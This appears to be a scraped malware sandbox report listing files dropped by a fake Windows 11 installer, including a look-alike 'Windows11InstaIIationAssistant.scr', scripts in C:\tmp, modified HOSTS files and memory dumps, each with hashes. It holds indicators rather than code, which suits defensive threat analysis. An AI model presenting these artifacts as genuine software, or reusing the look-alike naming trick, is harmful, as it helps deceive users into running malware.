SHA256 98a2105a3ab32dd4e4d6beca37ca8dfdf62e5104d561b5b902be00ddcb487e9a
MD5 31602b17a1d1ba8fd00254c955c4bfa0
SHA1 0f534f34e6103250577f9299b96ba5e631e00786
SHA512 e1bed9960c826f122fbf101a9ecace9f95a3b2946da4a7ee3c1b4b77a5ce4f6b04f05997ed81ea5b4b53571169a9725dfac2ea03eca40ad60b780e6ac02961c2
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 1KB
SHA256 c2e729b5e7239b4f917cac978f8bbb151c07b36a25aaaf3b17e4c5e42cdec138
MD5 dcc47098993a0034d2ce7c0f3692457d
SHA1 02544ea91b2da0b8f2b77e75de682a8bd335f72e
SHA512 ec8641b6ec41735b486bb85f1149b65f9dac6c70bf5204e78d58cab7582829f3b1ea4fc89cfce9eeefdef2c1117e98be147d7ac6e35e8da4e30e46a9a793b0da
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 1KB
SHA256 a50228e67146bef3b0e53f2e93203af030665a72bfec962612cdb8480a2159b8
MD5 f01bf9363d3d867f3f7d7997ac2bab35
SHA1 104402038659f712b655a6431618b0f72edb8847
SHA512 5e4f3473526cad2b2d33abae9e5ea9eec68fa6782a925adb095df099ada32b5811ac8736e9324dd19133c0ccf1832db8e38737ffb67d88be24401c03b95dc455
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 1KB
SHA256 da16c1cb940a08d088323880e8bfd59dcfdb75903b7905212c0e8a6c36298e6a
MD5 61b83193e0729507d433cae878686d8d
SHA1 aff128a6cdb91a80b7d3e6a2b0e1689e7b3dbc3a
SHA512 80b574c2a58471f957609cf69e1ce9b4c7a1de8ab707076d38f0ceefbe7f79219ae20235dc9a24f7fcce3c8946224afca83b7ced475910a3d4ceb8e76e3e8750
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 1KB
SHA256 62172ee10898283f5d106a57e8898181f9fc21e6ffad5a2a1b0534f902f5cc4f
MD5 1b98d13289190f196f9b95ae38bb2a14
SHA1 fe0fc207806acd26731810dd79576764c2a401f6
SHA512 eafcfedcb5a6a5bf254ed59fa762cb775c71e13fc59f562ff501a1a19314e494627a97fddb4feeea5801706d814563be9e4c03d5166fc675ce0a36852abb20c3
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 1KB
SHA256 5ba920890b920eda0f38cbda9dc0541e2934a5672eca1b3f05c2754c198d8ec9
MD5 4932bd01743c62b6c32d327dab176c09
SHA1 4cb46c6511f29a289f057aac0388f0a9842888e1
SHA512 4a2e3c58b81268632c0b7c2a1afeb3023316a77b3c9832049c770534df87f4f3bef0d0c102bb815d1fd2026b8a28a46aacf5b4aa843cf4ab96870f65421e8365
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 1KB
SHA256 35d28b257a1082575123e55c02190a1fdd30cc94b20f3c25130bd511744cdc8d
MD5 b111a60a0f6c12a46d9d2484b2619927
SHA1 d3f8186c789e75371be5935430f6d0cd010134dc
SHA512 198d7576aaf3c79e4618bd5ef0aea3b0811872761af341aa3195d80175a05bea778b9eaab6662d576651bf2f74de2f4368a816cd413c0fa31ede9815517f26aa
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 1KB
SHA256 fa9c72faa6801c53e8c7d6a4c58c4d42e481261de02810a58963af4ca69950c8
MD5 dec37bb573c86f97e952001ccd786320
SHA1 a622d1bbeea5bf76875ce736aec46b18ebec1852
SHA512 225b7ad0971e953fe30ccf0ba9087f0573e8650fe7145c52e7bfca183697e6cf9b92d33ec0a95478de8a76a82d720e25cbe71788b42a61004839e41c9c997da2
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 1KB
SHA256 f629f2894c7f67e8213362e4d300e7e163d76101e27eadec15f10cc9fb1d0d95
MD5 35bd2140a11fcdb081ae8d9429af9010
SHA1 aa5b4bb82165c83804ece2c6ac1b76bcfaf58c2e
SHA512 ec40bb1f3f77a8ab229565077288f475cc5e07c98547445012aa1b40aa2d292944db79af894f704cae5000bac76ecdcc5005a259014ca2286e47ad1572888bf5
MD5 SHA1 SHA512

Submit Download

HOSTS

Path C:\Windows\system32\DRIVERS\ETC\HOSTS
Size 1KB
SHA256 7c6405067d6f0f3e597d55eba89b2dfdc1cb2d735181f07c50c31b6b724f8965
MD5 289c556fb30d18dd57a467debac0073c
SHA1 b2f7eca64b1d1c2acf2da1018df49d3f8f726227
SHA512 d08da584e66cec9384ce22a96911e22f0eb3eb1ff940b522252645bd994e53a8fff7c062ab02e61319c668ba5087cd695ef68c61c0bfa747004415948ed1e30b
MD5 SHA1 SHA512

Submit Download

lbm.vbs

Path C:\tmp\lbm.vbs
Size 211B
SHA256 a4e6bb1e50d0130d884c8bfb4156dd04b18606bcb335740fe6773b6d0242ebe8
MD5 29d6b4cbb9bf5a700bae819186683ed4
SHA1 f2b9973c6d02bf6977022cb1cdd1a2ddf81e500c
SHA512 0eda1158d5bd0f83edf589ee7373f876e69ccff0afe5db739d882cb1131e65a8a7eac762316e45324827b986e58ece727ad93a90d69673a44e25288e6c812537
MD5 SHA1 SHA512

Submit Download

lfd.cmd

Path C:\tmp\lfd.cmd
Size 8KB
SHA256 12ae9141c0b8c1c98b71bc1923b7cf4b94b3bfd53b648149ad59837a42cbb07d
MD5 c39eba5f29dd454782857055dbb945a3
SHA1 73d24c93e31a8a316c705ec0758b35f4af8c2cac
SHA512 c127137a2cf659439992be28117a03803158fe687e78dfd3f8413c11d9ed7c00fbc415c7d1d425c2dc59595cc7e739017b2e6a23013d0d80b05c02e5d57a0b0a
SSDEEP 192:biaF+PVvVgvdGAf+IDrOwtY9XxvWg8N10Mo:5F+PngA
MD5 SHA1 SHA512 SSDEEP

Submit Download

windows11-setup_11_67721.tmp

Path \Users\Admin\AppData\Local\Temp\is-6Q7G1.tmp\windows11-setup_11_67721.tmp
Size 3.0MB
SHA256 80938376d38b3d5b815d1c412348b9dd6851fafe2c372ba970c767676bec5eba
MD5 cc0ac6da39057ef0aa6ca5eba5537eae
SHA1 56861f7eac2f747d0812a8b36ac2a7ecfb14081d
SHA512 eabf946b8af5e816ea1ded112568340a6c081b693d4497d2031d8a59f8dca24a3ea0040baa67bb5d24cd1c04671cb80ac77a312490376bba1d2b08d048fe5f09
SSDEEP 49152:JEA9P+bz2cHPcUb6HSb4SOEMkBeH7nQckO6bAGx7jXTVx33387:d92bz2Eb6pd7B6bAGx7T333w
MD5 SHA1 SHA512 SSDEEP

Submit Download

windows11-setup_11_67721.tmp

Path \Users\Admin\AppData\Local\Temp\is-8CPOL.tmp\windows11-setup_11_67721.tmp
Size 3.0MB
SHA256 80938376d38b3d5b815d1c412348b9dd6851fafe2c372ba970c767676bec5eba
MD5 cc0ac6da39057ef0aa6ca5eba5537eae
SHA1 56861f7eac2f747d0812a8b36ac2a7ecfb14081d
SHA512 eabf946b8af5e816ea1ded112568340a6c081b693d4497d2031d8a59f8dca24a3ea0040baa67bb5d24cd1c04671cb80ac77a312490376bba1d2b08d048fe5f09
SSDEEP 49152:JEA9P+bz2cHPcUb6HSb4SOEMkBeH7nQckO6bAGx7jXTVx33387:d92bz2Eb6pd7B6bAGx7T333w
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path \Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path \Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path \Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path \Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

rp.exe

Path \Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\rp.exe
Size 867KB
SHA256 73b99bb8357de2e6667860d0fa9a554db1a55c169e63b689fae6a1c65faa6232
MD5 a7a3559eaf5ec8a2ff549575b4ccf7d7
SHA1 689e661248c48787cb1200ff7b71a22db5cb78c3
SHA512 cc24ce560c2e8f118cd9ffa9c86bc5059e3068222039a6de3f33e6325355b04f0e10596f72e6bef16601d2811ed93a878fd30ddf40cf472b7b654ef0d7ff5196
SSDEEP 24576:/2DW/xbMX2YIbxQsu3/PNLoQ+Hyq74jRk:/2EgXoQsW/PNUQWj4jRk
MD5 SHA1 SHA512 SSDEEP

Submit Download

yb.exe

Path \Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\yb.exe
Size 1.0MB
SHA256 fec4558c4e416ad82a32ffa1b96ba6f12f9c9be282f5a2d15dee68855faad93a
MD5 330fb431cfecf543b3dee4c35355042a
SHA1 f8472606ea4035500b1fc83d500b594eeb9b8de5
SHA512 1c85705bb6bc911c6470368c752ef47693975920766ce1199c5e5ea46b90fd0cd9da4d35afe69494df06b92c1e33589485f3984ea298624160923895e89ac632
SSDEEP 24576:9SuxsnUKn3SEA0K+n0IO674pnBcSMx1vm1djVCU6:fxq3nPnZ2lBcSMHvm1djoU6
MD5 SHA1 SHA512 SSDEEP

Submit Download

yb.exe

Path \Users\Admin\AppData\Local\Temp\is-IQO4O.tmp\au\yb.exe
Size 1.0MB
SHA256 fec4558c4e416ad82a32ffa1b96ba6f12f9c9be282f5a2d15dee68855faad93a
MD5 330fb431cfecf543b3dee4c35355042a
SHA1 f8472606ea4035500b1fc83d500b594eeb9b8de5
SHA512 1c85705bb6bc911c6470368c752ef47693975920766ce1199c5e5ea46b90fd0cd9da4d35afe69494df06b92c1e33589485f3984ea298624160923895e89ac632
SSDEEP 24576:9SuxsnUKn3SEA0K+n0IO674pnBcSMx1vm1djVCU6:fxq3nPnZ2lBcSMHvm1djoU6
MD5 SHA1 SHA512 SSDEEP

Submit Download

Windows11InstaIIationAssistant.scr

Path \Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.scr
Size 8.4MB
SHA256 b197522d218e972e8fe965032f47ec4e483b698709ac83640f1583feb5a67fb4
MD5 d6afceff3c0e238413ccdaaf74c9bf7a
SHA1 fde2368a32a52efe8de6c86adab0f709630c2246
SHA512 b7522d5274b721ad3d3b773549dd966483dc45c25360d8b081c45b3dad6d7c5127795276031e6324f8c69e7c32524b523bdb52b320f3ef32ab9d1709a5224927
SSDEEP 196608:TJ1G0GtKPwPbSuB8IriosRxzhpo8VUAhUQuZZop192o4ZZbDgYaJ:TJM7lbSuB8IvsPlddQvu72FZbDgYaJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

Windows11InstaIIationAssistant.scr

Path \Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.scr
Size 8.4MB
SHA256 b197522d218e972e8fe965032f47ec4e483b698709ac83640f1583feb5a67fb4
MD5 d6afceff3c0e238413ccdaaf74c9bf7a
SHA1 fde2368a32a52efe8de6c86adab0f709630c2246
SHA512 b7522d5274b721ad3d3b773549dd966483dc45c25360d8b081c45b3dad6d7c5127795276031e6324f8c69e7c32524b523bdb52b320f3ef32ab9d1709a5224927
SSDEEP 196608:TJ1G0GtKPwPbSuB8IriosRxzhpo8VUAhUQuZZop192o4ZZbDgYaJ:TJM7lbSuB8IvsPlddQvu72FZbDgYaJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/644-55-0x0000000000400000-0x00000000004D6000-memory.dmp

Download

memory/644-63-0x0000000000400000-0x00000000004D6000-memory.dmp

Download

memory/644-54-0x0000000075BF1000-0x0000000075BF3000-memory.dmp

Download

memory/1176-84-0x0000000140000000-0x00000001401F0000-memory.dmp

Download

memory/1176-81-0x0000000140000000-0x00000001401F0000-memory.dmp

Download

memory/1188-71-0x0000000075001000-0x0000000075003000-memory.dmp

Download

memory/1296-259-0x0000000002AB0000-0x0000000002AB2000-memory.dmp

Download

memory/1296-260-0x0000000002AB2000-0x0000000002AB4000-memory.dmp

Download

memory/1296-263-0x0000000002ABB000-0x0000000002ADA000-memory.dmp

Download

memory/1296-261-0x0000000002AB4000-0x0000000002AB7000-memory.dmp

Download

memory/1464-85-0x000007FEFC521000-0x000007FEFC523000-memory.dmp

Download

memory/1532-64-0x0000000000400000-0x00000000004D6000-memory.dmp

Download

memory/1532-67-0x0000000000400000-0x00000000004D6000-memory.dmp

Download

memory/1576-231-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-235-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-255-0x0000000002F30000-0x0000000002FD7000-memory.dmp

Download

memory/1576-253-0x0000000011000000-0x0000000011158000-memory.dmp

Download

memory/1576-242-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-241-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-240-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-239-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-238-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-237-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-236-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-234-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-233-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-232-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-230-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-229-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-228-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-227-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-225-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-226-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-203-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-204-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-206-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-208-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-210-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-212-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-213-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-214-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-215-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-217-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-224-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-219-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-221-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-222-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1576-223-0x0000000000400000-0x0000000000B44000-memory.dmp

Download

memory/1688-199-0x0000000000400000-0x00000000007CC000-memory.dmp

Download